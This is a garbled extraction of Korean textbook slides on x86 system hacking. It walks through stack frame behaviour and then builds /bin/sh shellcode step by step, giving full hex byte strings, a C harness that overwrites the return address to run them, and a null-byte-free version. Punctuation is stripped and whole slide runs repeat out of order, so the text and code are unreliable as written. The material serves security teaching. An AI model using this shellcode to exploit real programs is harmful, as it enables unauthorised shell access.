movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 62: 80×86  시스템에 대한 이해

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 63: 80×86  시스템에 대한 이해

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

